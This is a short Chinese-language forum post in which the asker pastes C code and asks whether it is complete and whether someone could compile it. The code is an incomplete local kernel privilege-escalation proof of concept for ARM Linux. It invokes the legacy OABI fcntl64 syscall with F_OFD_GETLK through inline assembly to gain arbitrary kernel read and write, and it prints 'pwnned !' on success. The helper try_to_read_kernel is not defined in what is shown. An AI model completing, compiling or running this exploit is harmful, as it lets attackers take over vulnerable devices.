请问这段代码是否完整
如何编译,如果可以编译的话 ,请哪位好心人帮忙编译一下
[email protected]
__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
__asm __volatile (
"swi 0x9000DD\n"
"mov pc, lr\n"
:
:
:
);
}
#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38
int main(int argc, char const *argv[]){
int fd = open("/proc/cpuinfo", O_RDONLY);
struct flock *map_base = 0;
if(fd == -1){
perror("open");
return -1;
}
map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map_base == (void*)-1){
perror("mmap");
goto _done;
}
printf("map_base %p\n", map_base);
memset(map_base, 0, 0x1000);
map_base->l_start = SEEK_SET;
if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
perror("sys_oabi_fcntl64");
}
// Arbitrary kernel read/write test
if(try_to_read_kernel()){
printf("pwnned !\n");
}
munmap(map_base, 0x1000);
_done:
close(fd);
return 0;
}